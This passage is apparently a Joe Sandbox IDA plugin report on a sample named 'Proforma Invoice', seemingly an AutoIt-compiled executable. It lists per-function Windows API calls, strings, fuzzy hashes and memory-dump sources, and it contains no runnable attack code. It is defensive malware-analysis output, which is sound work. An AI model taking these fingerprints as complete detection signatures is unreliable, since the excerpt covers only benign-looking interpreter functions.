Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: 90d5394c32ec7977708fb17944b0b88043bb63c38e5358f100dd7df41ecd9440
Instruction ID: 34a3dbfd2a0a6ca3c9b56e81b15b11e3fb5dcaf6a13168f4ffc28ceb5b17206e
Opcode Fuzzy Hash: 90d5394c32ec7977708fb17944b0b88043bb63c38e5358f100dd7df41ecd9440
Instruction Fuzzy Hash: 28918C72408315FFC7219F64EC08E5B7BB9FF88321F108A29F962961A0D738D946CB56

Function 006A2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 006A2CA2
DeleteObject.GDI32(00000000), ref: 006A2CE8
DeleteObject.GDI32(00000000), ref: 006A2CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 006A2CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 006A2D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 006DC43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 006DC474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 006DC89D

Part of subcall function 006A1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,006A2036,?,00000000,?,?,?,?,006A16CB,00000000,?), ref: 006A1B9A

SendMessageW.USER32(?,00001053), ref: 006DC8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 006DC8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 006DC907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 006DC912

Strings

0, xrefs: 006DC731

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: d5b0a699ccd0f45ca29f698f3598ea56be980ec6b71e8a6e4533671b66c60d97
Instruction ID: 0dd7184d3b08c492086725ca5c642077d47c84c419c943d5a879057a7de0f6fb
Opcode Fuzzy Hash: d5b0a699ccd0f45ca29f698f3598ea56be980ec6b71e8a6e4533671b66c60d97
Instruction Fuzzy Hash: 2F128C30904206AFDB619F28C894BA9BBE6FF45320F54856AE456CB362C731EC52DF91

Function 007174AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 007174DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0071759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 007175DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 007175ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00717633
GetClientRect.USER32(00000000,?), ref: 0071763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00717683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00717692
GetStockObject.GDI32(00000011), ref: 007176A2
SelectObject.GDI32(00000000,00000000), ref: 007176A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 007176B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 007176BF
DeleteDC.GDI32(00000000), ref: 007176C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 007176F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0071770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00717746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0071775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0071776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0071779B
GetStockObject.GDI32(00000011), ref: 007177A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 007177B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 007177BB

Strings

static, xrefs: 0071767D, 00717795
msctls_progress32, xrefs: 0071773C
DISPLAY, xrefs: 00717688
AutoIt v3, xrefs: 0071762B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 45f6683e5187b21220cb8433dcc5d56ad1ee7b20fbb53cceb05f37359725a938
Instruction ID: 5202cc32d8a4a679a6279e079415b6b4a93e7c0ffbb6990dce887a8b6ff8a672
Opcode Fuzzy Hash: 45f6683e5187b21220cb8433dcc5d56ad1ee7b20fbb53cceb05f37359725a938
Instruction Fuzzy Hash: 94A183B1A00615BFEB14DBA4DC4AFAF7B7AEB05710F108124FA15A72E0D7B4AD01CB64

Function 0070AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0070AD1E
GetDriveTypeW.KERNEL32(?,0072FAC0,?,\\.\,0072F910), ref: 0070ADFB
SetErrorMode.KERNEL32(00000000,0072FAC0,?,\\.\,0072F910), ref: 0070AF59

Strings

Fibre, xrefs: 0070AEE9
RAMDisk, xrefs: 0070AE25
SATA, xrefs: 0070AF0C
1394, xrefs: 0070AEDB
Fixed, xrefs: 0070AE43
Network, xrefs: 0070AE39
SAS, xrefs: 0070AF05
ATA, xrefs: 0070AED4
SSA, xrefs: 0070AEE2
Virtual, xrefs: 0070AF21
MMC, xrefs: 0070AF1A
iSCSI, xrefs: 0070AEFE
RAID, xrefs: 0070AEF7
ATAPI, xrefs: 0070AECD
PhysicalDrive, xrefs: 0070ADA7
Unknown, xrefs: 0070AE1B, 0070AEBF
Removable, xrefs: 0070AE4D
CDROM, xrefs: 0070AE2F
\\.\, xrefs: 0070AD70
SCSI, xrefs: 0070AEC6
SSD, xrefs: 0070AE86
FileBackedVirtual, xrefs: 0070AF28
USB, xrefs: 0070AEF0

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: ffca18b4b63f2bbff25693f9c89da16d7fb788cfbdfcabd2e40fbb1b377870ae
Instruction ID: 7938b5a7b717934398a75ff594d154092173acbe65fde38c2d8e70254a7130f1
Opcode Fuzzy Hash: ffca18b4b63f2bbff25693f9c89da16d7fb788cfbdfcabd2e40fbb1b377870ae
Instruction Fuzzy Hash: 4C513FF0644306FBCB90EB20C952CA973E5EB49701F20865AE807B72D1DAB9ED45DB53

Function 006A68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 006A6931
__wcsnicmp.LIBCMT ref: 006A6949
__wcsnicmp.LIBCMT ref: 006A6961
__wcsnicmp.LIBCMT ref: 006A6979
__wcsnicmp.LIBCMT ref: 006A6991
__wcsnicmp.LIBCMT ref: 006A69A9
__wcsnicmp.LIBCMT ref: 006A69C1
__wcsnicmp.LIBCMT ref: 006A69D5
__wcsnicmp.LIBCMT ref: 006A6A16
__wcsnicmp.LIBCMT ref: 006A6A2A
__wcsnicmp.LIBCMT ref: 006A6A3E
__wcsnicmp.LIBCMT ref: 006A6A52

Strings

#requireadmin, xrefs: 006A695B
Cannot parse #include, xrefs: 006DE3F0
Bad directive syntax error, xrefs: 006DE31A
#include-once, xrefs: 006A698B
#ce, xrefs: 006A6A4C
#include, xrefs: 006A69A3
Unterminated group of comments, xrefs: 006DE403
#comments-end, xrefs: 006A6A38
#OnAutoItStartRegister, xrefs: 006A6973
#comments-start, xrefs: 006A69BB, 006A6A10
#notrayicon, xrefs: 006A6943
#pragma compile, xrefs: 006A692B
#cs, xrefs: 006A69CF, 006A6A24

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: b2a5accade0b7d54e7a3604a1e519bec70bbaba73832aef11fd035e626688b84
Instruction ID: ddea0aad7195cb7e085a10a9a732fb489598e927ecfd8f59218527e4df038799
Opcode Fuzzy Hash: b2a5accade0b7d54e7a3604a1e519bec70bbaba73832aef11fd035e626688b84
Instruction Fuzzy Hash: 92812EB0700215AADB51BB60EC43FFF376BEF16700F08402DF905AA296E761DD45CA69

Function 0072A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0072A903
SetTextColor.GDI32(?,?), ref: 0072A907
GetSysColorBrush.USER32(0000000F), ref: 0072A91D
GetSysColor.USER32(0000000F), ref: 0072A928
CreateSolidBrush.GDI32(?), ref: 0072A92D
GetSysColor.USER32(00000011), ref: 0072A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0072A953
SelectObject.GDI32(?,00000000), ref: 0072A964
SetBkColor.GDI32(?,00000000), ref: 0072A96D
SelectObject.GDI32(?,?), ref: 0072A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0072A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0072A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0072A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0072A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0072AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0072AA32
DrawFocusRect.USER32(?,?), ref: 0072AA3D
GetSysColor.USER32(00000011), ref: 0072AA4B
SetTextColor.GDI32(?,00000000), ref: 0072AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0072AA67
SelectObject.GDI32(?,0072A5FA), ref: 0072AA7E
DeleteObject.GDI32(?), ref: 0072AA89
SelectObject.GDI32(?,?), ref: 0072AA8F
DeleteObject.GDI32(?), ref: 0072AA94
SetTextColor.GDI32(?,?), ref: 0072AA9A
SetBkColor.GDI32(?,?), ref: 0072AAA4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: af4965b83d83753c1177f50fd3a34d98f600ba4f863e7c9fdac017cc6ee9639d
Instruction ID: b8b3d5caee70487269ab586e9d4aa3ab40043558455c88d07b443f84d36d72c4
Opcode Fuzzy Hash: af4965b83d83753c1177f50fd3a34d98f600ba4f863e7c9fdac017cc6ee9639d
Instruction Fuzzy Hash: 08514C71900218FFDB219FA5DC48EAE7BB9EF08320F118225F911AB2A1D7799951CF94

Function 007289D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00728AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00728AD2
CharNextW.USER32(0000014E), ref: 00728B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00728B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00728B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00728B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00728B86
SetWindowTextW.USER32(?,0000014E), ref: 00728BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00728BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00728C1F
_memset.LIBCMT ref: 00728C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00728C8D
_memset.LIBCMT ref: 00728CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00728D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00728D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00728E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00728E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00728E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00728EB4
DrawMenuBar.USER32(?), ref: 00728EC3
SetWindowTextW.USER32(?,0000014E), ref: 00728EEB

Strings

0, xrefs: 00728E55

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 22329858aa170a3c5625979ad0559ff893364d5ebabaa71a13fc2110718cd198
Instruction ID: 9a2e8acfcd884f5a37ae965fac62833ead110ed657ee45fc11f777498ed1fb66
Opcode Fuzzy Hash: 22329858aa170a3c5625979ad0559ff893364d5ebabaa71a13fc2110718cd198
Instruction Fuzzy Hash: 49E1B270901228EFDF609F60DC84EEE7BB9EF09710F00815AF915AA290DF799985DF61

Function 0072488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 007249CA
GetDesktopWindow.USER32 ref: 007249DF
GetWindowRect.USER32(00000000), ref: 007249E6
GetWindowLongW.USER32(?,000000F0), ref: 00724A48
DestroyWindow.USER32(?), ref: 00724A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00724A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00724ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00724AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00724AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00724B09
IsWindowVisible.USER32(?), ref: 00724B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00724B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00724B58
GetWindowRect.USER32(?,?), ref: 00724B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00724B96
GetMonitorInfoW.USER32(00000000,?), ref: 00724BB0
CopyRect.USER32(?,?), ref: 00724BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00724C32

Strings

tooltips_class32, xrefs: 00724A96
0, xrefs: 00724975
(, xrefs: 00724BA3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: b907decf52b8c3f969f1c6983cd7af97c55963dd1cdf0a75c9be31bc6acec829
Instruction ID: e51aeaa3370906994a105000933742d2a7fa8f3b43bc9fe3c12b927e33bbdb65
Opcode Fuzzy Hash: b907decf52b8c3f969f1c6983cd7af97c55963dd1cdf0a75c9be31bc6acec829
Instruction Fuzzy Hash: 42B18970604350AFDB14DF64D848B6ABBE5FF89310F00892CF5999B2A1D778EC05CBA9

Function 006A27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 006A28BC
GetSystemMetrics.USER32(00000007), ref: 006A28C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 006A28EF
GetSystemMetrics.USER32(00000008), ref: 006A28F7
GetSystemMetrics.USER32(00000004), ref: 006A291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 006A2939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 006A2949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 006A297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 006A2990
GetClientRect.USER32(00000000,000000FF), ref: 006A29AE
GetStockObject.GDI32(00000011), ref: 006A29CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 006A29D5

Part of subcall function 006A2344: GetCursorPos.USER32(?), ref: 006A2357
Part of subcall function 006A2344: ScreenToClient.USER32(007657B0,?), ref: 006A2374
Part of subcall function 006A2344: GetAsyncKeyState.USER32(00000001), ref: 006A2399
Part of subcall function 006A2344: GetAsyncKeyState.USER32(00000002), ref: 006A23A7

SetTimer.USER32(00000000,00000000,00000028,006A1256), ref: 006A29FC

Strings

AutoIt v3 GUI, xrefs: 006A2974

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 219ef749129423cbd80f8e6f53fd2ce9c437d22477810fde5eb8fcf28ede393f
Instruction ID: aff7cef94fcc7e7baac950ce2aab6713c4aea0b1cdbe2f6ae4cddb9972fc59d0
Opcode Fuzzy Hash: 219ef749129423cbd80f8e6f53fd2ce9c437d22477810fde5eb8fcf28ede393f
Instruction Fuzzy Hash: 2DB15E71A4020ADFDB24EF68DC55BAE7BB6FB08310F108129FA1697290DB789C51DF54

Function 006DA8CB Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 211COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 006DA92B
___wtomb_environ.LIBCMT ref: 006DA94D

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

__malloc_crt.LIBCMT ref: 006DA975
__malloc_crt.LIBCMT ref: 006DA992
_free.LIBCMT ref: 006DA9C9
__recalloc_crt.LIBCMT ref: 006DAA02
__recalloc_crt.LIBCMT ref: 006DAA47
_strlen.LIBCMT ref: 006DAA73
__calloc_crt.LIBCMT ref: 006DAA7D
_strlen.LIBCMT ref: 006DAA8C
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 006DAABA
_free.LIBCMT ref: 006DAAD4
_free.LIBCMT ref: 006DAAE1
_free.LIBCMT ref: 006DAAF3
__invoke_watson.LIBCMT ref: 006DAB0D

Strings

{nl, xrefs: 006DAAAD
{nl, xrefs: 006DA932

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID: {nl${nl
API String ID: 884005220-3585178443
Opcode ID: 9a04c8482ddd19e55a5cc75ab6b5f95af70552e6ea9b24e5ca3943a553636010
Instruction ID: 78fb4957ef3e1f57426461125df6a7c97eb936d563c17cdee5c69c82602638e9
Opcode Fuzzy Hash: 9a04c8482ddd19e55a5cc75ab6b5f95af70552e6ea9b24e5ca3943a553636010
Instruction Fuzzy Hash: 24610672D18715AFDB205FA4D901BB977A6EF01321F29421FE8029B3D1EB789D01C7A6

Function 006FA439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 006FA47A
__swprintf.LIBCMT ref: 006FA51B
_wcscmp.LIBCMT ref: 006FA52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 006FA583
_wcscmp.LIBCMT ref: 006FA5BF
GetClassNameW.USER32(?,?,00000400), ref: 006FA5F6
GetDlgCtrlID.USER32(?), ref: 006FA648
GetWindowRect.USER32(?,?), ref: 006FA67E
GetParent.USER32(?), ref: 006FA69C
ScreenToClient.USER32(00000000), ref: 006FA6A3
GetClassNameW.USER32(?,?,00000100), ref: 006FA71D
_wcscmp.LIBCMT ref: 006FA731
GetWindowTextW.USER32(?,?,00000400), ref: 006FA757
_wcscmp.LIBCMT ref: 006FA76B

Part of subcall function 006C362C: _iswctype.LIBCMT ref: 006C3634

Strings

%s%u, xrefs: 006FA515

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: def99122bf0b7b809fa49953b31b904e4739fd91e8d5826e5821c9a5e938d79c
Instruction ID: 2124827273927772535150f3f2e2c9468af791ccc4e5b531b6ef0b1f38e19999
Opcode Fuzzy Hash: def99122bf0b7b809fa49953b31b904e4739fd91e8d5826e5821c9a5e938d79c
Instruction Fuzzy Hash: B1A1A2B520420AABD714EFA0C884FFAB7EAFF44354F008529FA9DD2250D734E955CB92

Function 006FAED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 006FAF18
_wcscmp.LIBCMT ref: 006FAF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 006FAF51
CharUpperBuffW.USER32(?,00000000), ref: 006FAF6E
_wcscmp.LIBCMT ref: 006FAF8C
_wcsstr.LIBCMT ref: 006FAF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 006FAFD5
_wcscmp.LIBCMT ref: 006FAFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 006FB00C
GetClassNameW.USER32(00000018,?,00000400), ref: 006FB055
_wcscmp.LIBCMT ref: 006FB065
GetClassNameW.USER32(00000010,?,00000400), ref: 006FB08D
GetWindowRect.USER32(00000004,?), ref: 006FB0F6

Strings

@, xrefs: 006FAEF9
ThumbnailClass, xrefs: 006FAFE0, 006FB060

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

